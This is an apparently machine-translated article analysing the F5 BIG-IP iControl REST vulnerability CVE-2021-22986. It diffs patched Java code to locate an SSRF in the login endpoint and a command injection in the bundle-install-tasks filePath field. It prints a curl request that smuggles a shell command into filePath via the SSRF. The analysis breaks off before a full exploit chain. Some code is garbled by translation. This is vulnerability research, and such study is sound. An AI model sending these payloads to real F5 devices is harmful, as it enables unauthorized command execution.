In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-03 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
Today, I would like to talk to you about the analysis and utilization of the F5 BIGIP iControl REST CVE-2021-22986 vulnerability. Many people may not know much about it. In order to make you understand better, the editor has summarized the following contents for you. I hope you can get something from this article.
Overview of vulnerabilities
Some time ago, there were some vulnerabilities in the BIGIP of F5, among which CVE-2021-22986 is a RCE vulnerability of pre-auth, which exists in its iControl REST interface. It affects the versions of the following BIGIP:
16.0.0-16.0.115.1.0-15.1.214.1.0-14.1.3.113.1.0-13.1.3.512.1.0-12.1.5.2
In this specially crude analysis of the loophole and how to exploit it. As my Java level is not very high, if there are any mistakes, please correct me.
Vulnerability location
Because the authorities do not release the details of the vulnerability, you need to locate the vulnerability according to the patch. At first, I used versions 15.1.2 and 15.1.2.1 for diff, and there was no diff command injection. Later, the diff came out when it was changed to 16.0.1 and 16.0.1.1. So this analysis uses versions of bigip 16.0.1 and 16.0.1.1.
Officials say the vulnerability lies in the iControl REST interface, which can be accessed through port 443 / mgmt/xxx by default. Then after analyzing the httpd.conf, we can see that all requests for this path will be forwarded to localhost:8100 for processing:
... # Access is restricted to traffic from 127.0.0.1 Require ip 127.0.0.1 Require ip 127.4.2.2 # This is an exact copy of the authentication settings of the document root. # If a connection is attempted from anywhere but 127., then it will have # to be authenticated. # we control basic auth via this file... IncludeOptional / etc/httpd/conf/basic_auth*.conf AuthName "Enterprise Manager" AuthPAM_Enabled on AuthPAM_ExpiredPasswordsSupport on require valid-userRewriteEngine onRewriteRule ^ / mgmt$ / mgmt/ [PT] RewriteRule ^ / mgmt (/ vmchannel/.*) $1 [PT] # Don't proxy REST rpm endpoint requests.ProxyPass / mgmt/rpm! ProxyPass / mgmt/job! ProxyPass / mgmt/endpoint! # Proxy REST service bus requests.# We always retry so if we restart the REST service bus, Apache# will quickly re-discover it. (The default is 60 seconds.) # If you have retry timeout > 0, Apache timers may go awry# when clock is reset. It may never re-enable the proxy.ProxyPass / vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass / mgmt/ http://localhost:8100/mgmt/ retry=0# Adjust URLs in HTTP response headersProxyPassReverse / vmchannel/ http://localhost:8585/vmchannel/ProxyPassReverse / mgmt/ http://localhost:8100/mgmt/...
Then find the main program corresponding to the monitor:
[root@localhost:NO LICENSE:Standalone] config # ps aux | grep 8100root 6138 0.6 5.4 451568 220732? Sl Mar24 6:21 / usr/lib/jvm/jre/bin/java-Djava.util.logging.manager=com.f5.rest.common.RestLogManager-Djava.util.logging.config.file=/etc/restjavad.log.conf-Dlog4j.defaultInitOverride=true-Dorg.quartz.properties=/etc/quartz.properties-Xss384k-XX:+PrintFlagsFinal-Dsun.jnu.encoding=UTF-8-Df.
Analysis of the startup command line shows that the main class is com.f5.rest.workers.RestWorkerHost, and roughly know that the relevant jar files are located in the / usr/share/java/rest directory. After diff some jar files that have changed file size and time, some changes are finally found in f5.rest.workers.authn.AuthnWorker and com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker:
F5.rest.workers.authn.AuthnWorker:protected void onPost (final RestOperation request) {final String incomingAddress = request.getRemoteSender (); final AuthnWorkerState state = (AuthnWorkerState) request.getTypedBody (AuthnWorkerState.class); AuthProviderLoginState loginState = (AuthProviderLoginState) request.getTypedBody (AuthProviderLoginState.class);-if (state.password = = null & & state.bigipAuthCookie = = null) {+ if (Utilities.isNullOrEmpty (state.password) & & Utilities.isNullOrEmpty (state.bigipAuthCookie)) {state.bigipAuthCookie = request.getCookie ("BIGIPAuthCookie") LoginState.bigipAuthCookie = state.bigipAuthCookie;} if (incomingAddress! = null & & incomingAddress! = "Unknown") {loginState.address = incomingAddress;}-if ((state.username = = null | | state.password = = null) & & state.bigipAuthCookie = = null) {+ if ((Utilities.isNullOrEmpty (state.username) | | Utilities.isNullOrEmpty (state.password)) & & Utilities.isNullOrEmpty (state.bigipAuthCookie)) {+ request.setStatusCode String msg = String.format ("username and password must not be null or% s in Cookie header should be used.", new Object [] {"BIGIPAuthCookie"}); request.fail (new SecurityException (msg)); + return;} + boolean isAllowedLinks = false + + if (state.loginReference! = null & & state.loginReference.link! = null) {+ + for (URI iter: this.subscriptions.keySet ()) {+ if (state.loginReference.link.getPath (). Equals (iter.getPath () {+ isAllowedLinks = true;+ break;+} +} + if (! isAllowedLinks) {+ getLogger (). Severe ("No login provider found.") + String msg = String.format ("No login provider found.", new Object [0]); + request.fail (new SecurityException (msg)); + + return;+} +} + state.password = null; request.setBody (state) ... com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker:+ private static final Pattern validFilePathChars = Pattern.compile ("(^ [a-zA-Z] [a-zA-Z0-9mm.\\ -\\ s ()] *)\\. ([tT] [aA] [rR]\. [gG] [zZ]) $"). Private void validateGzipBundle (final IAppBundleInstallTaskState taskState) {if (Utilities.isNullOrEmpty (taskState.filePath)) {File agcUseCasePackDir = new File ("/ var/apm/f5-iappslx-agc-usecase-pack/"); if (! agcUseCasePackDir.exists () | |! agcUseCasePackDir.isDirectory ()) {String error = "Access Guided Configuration usecase pack not found on BIG-IP. Please upload and install the pack. "; failTask (taskState, error,"); return;} File [] agcUseCasePack = agcUseCasePackDir.listFiles (); if (agcUseCasePack = = null | | agcUseCasePack.length = = 0 | |! agcUseCasePack [0] .isFile ()) {String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack. "; failTask (taskState, error,"); return;} taskState.filePath = agcUseCasePack [0] .getPath ();} + String filename = taskState.filePath.substring (taskState.filePath.lastIndexOf ('/') + 1); + Matcher m = validFilePathChars.matcher (filename) + if (! m.matches ()) {+ String errorMessage = String.format ("Access Guided Configuration use case pack validation failed: the file name% s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed ", new Object [] {filename}); + failTask (taskState, errorMessage,"); + + return;+} final String extractTarCommand =" tar-xf "+ taskState.filePath +" O > / dev/null "; ShellExecutor extractTar = new ShellExecutor (extractTarCommand);
Combined with the analysis of the link, we can see that the first vulnerability is a SSRF vulnerability. However, there are some limitations in exploiting this vulnerability, which will be mentioned later. The second vulnerability is a command injection vulnerability.
Vulnerability exploitation
The path affected by SSRF is / mgmt/shared/authn/login, and the path affected by command injection is / mgmt/tm/access/bundle-install-tasks. If you look at the f5.rest.workers.authn.AuthnWorker class, if there is a loginReference field in the POST data when accessing the / mgmt/shared/authn/login path, and the following conditions are met, the request will be forwarded to the link path of the loginReference field with the POST data.
. If (state.password = = null & & state.bigipAuthCookie = = null) {/ * 323 * / state.bigipAuthCookie = request.getCookie ("BIGIPAuthCookie"); / * 324 * / loginState.bigipAuthCookie = state.bigipAuthCookie;/* * /} / * / / * 327 * / if (incomingAddress! = null & & incomingAddress! = "Unknown") {/ * 328 * / loginState.address = incomingAddress / * * / * / * 331 * / if ((state.username = = null | state.password = = null) & & state.bigipAuthCookie = = null) {/ * 332 * / request.setStatusCode (401); / * 333 * / String msg = String.format ("username and password must not be null or% s in Cookie header should be used.", new Object [] {"BIGIPAuthCookie"}) / * * / / * 335 * / request.fail (new SecurityException (msg)); / * / / * * / return;/* * /}.
However, there are whitelist restrictions on the fields of this POST data. Before forwarding the request, the requested POST data is reset:
/ * 318 * / final AuthnWorkerState state = (AuthnWorkerState) request.getTypedBody (AuthnWorkerState.class); / * 319 * / AuthProviderLoginState loginState = (AuthProviderLoginState) request.getTypedBody (AuthProviderLoginState.class);. / * 503 * / RestOperation checkAuth = RestOperation.create (). SetBody (loginState) .setUri (makeLocalUri (state.loginReference.link)) .setCompletion (authCompletion); / * / / * * / * 506 * / sendPost (checkAuth) / * /}
You can see that setbody is done according to loginState, that is, POST data is set. Only fields of AuthProviderLoginState are allowed:
Public class AuthProviderLoginState extends RestWorkerState {public String username; public String password; public String address; public String bigipAuthCookie; public String authProviderName; public RestReference userReference; public List groupReferences;}
So if you directly use SSRF for command injection, the non-conforming fields will not be able to pass to the target url.
Curl-ks https://192.168.190.136/mgmt/shared/authn/login-d'{"bigipAuthCookie": "," loginReference ": {" link ":" http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}' "
After the url processing is completed, if no exception occurs, the completed method of the following class will be executed by default:
RestOperation checkAuth = RestOperation.create (). SetBody (loginState) .setUri (makeLocalUri (state.loginReference.link)) .setCompletion (authCompletion); RestRequestCompletion authCompletion = new RestRequestCompletion () / * / {/ * * /. / * / public void completed (RestOperation operation) {/ * 483* / AuthnWorker.this.loginFailureMap.remove (failureKey) / * * / / * 485 * / AuthProviderLoginState loggedIn = (AuthProviderLoginState) operation.getTypedBody (AuthProviderLoginState.class); / * / / * * / * 488 * / String authProviderId = loggedIn.authProviderName;/* 489 * / if (authProviderId = = null) {/ * 490 * / authProviderId = (state.loginProviderName = = null)? State.loginReference.link.toString (): state.loginProviderName;/* * /} / * / * / / * 494 * / AuthnWorker.this.getLogger (). FinestFmt ("User% s successfully logged in from% s using the% s authentication provider.", new Object [] {loggedIn.username, this.val$incomingAddress, authProviderId}); / * 499 * / AuthnWorker.generateToken (AuthnWorker.this.getServer (), request, state, loggedIn) / * /} /
The json data returned by accessing the url (mgmt/tm/access/bundle-install-tasks) is assigned to each field of the loggedIn (class AuthProviderLoginState) based on the field:
Then the generateToken function is called. According to the function name and analysis, the function can generate the token at login, and then use the token to access the resources that need to be authenticated. So if all goes well, the above visit should return a token to us, but it actually returns the following:
➜CVE-2021-22986 ✗ curl-ks https://192.168.190.136/mgmt/shared/authn/login-d'{"bigipAuthCookie": "," loginReference ": {" link ":" http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'{"code":400,"message":"request failed with null exception "," referer ":" 192.168.190.1 "," restOperationId ": 7145511," kind ":": resterrorresponse "}
Therefore, you need to analyze the reasons for the failure of token acquisition. Audit the java code to find that token is generated in AuthTokenWorker class, and the reason for the failure of token acquisition can be found after dropping the breakpoint at the key code, because state.user is null.
The state.user field passed in is assigned in the generateToken function:
/ * / public static void generateToken (RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {/ * 516 * / if (authState.needsToken! = null & &! authState.needsToken.booleanValue ()) {/ * 517 * / request.setBody (authState); / * 518 * / request.complete (); / * / / * * / return / * 522 * / AuthTokenItemState token = new AuthTokenItemState (); / * 523 * / token.userName = loginState.username;/* 524 * / token.user = loginState.userReference;/* 525 * / token.groupReferences = loginState.groupReferences;/* 526 * / token.authProviderName = loginState.authProviderName;/* 527 * / token.address = request.getXForwarderdFor () . / * 547 * / RestOperation createToken = RestOperation.create () .setUri (UrlHelper.buildLocalUriSafe (server, new String [] {WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH})) .setBody (token) .setCompletion (tokenCompletion) .setreferer ("authn-generate-token")
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.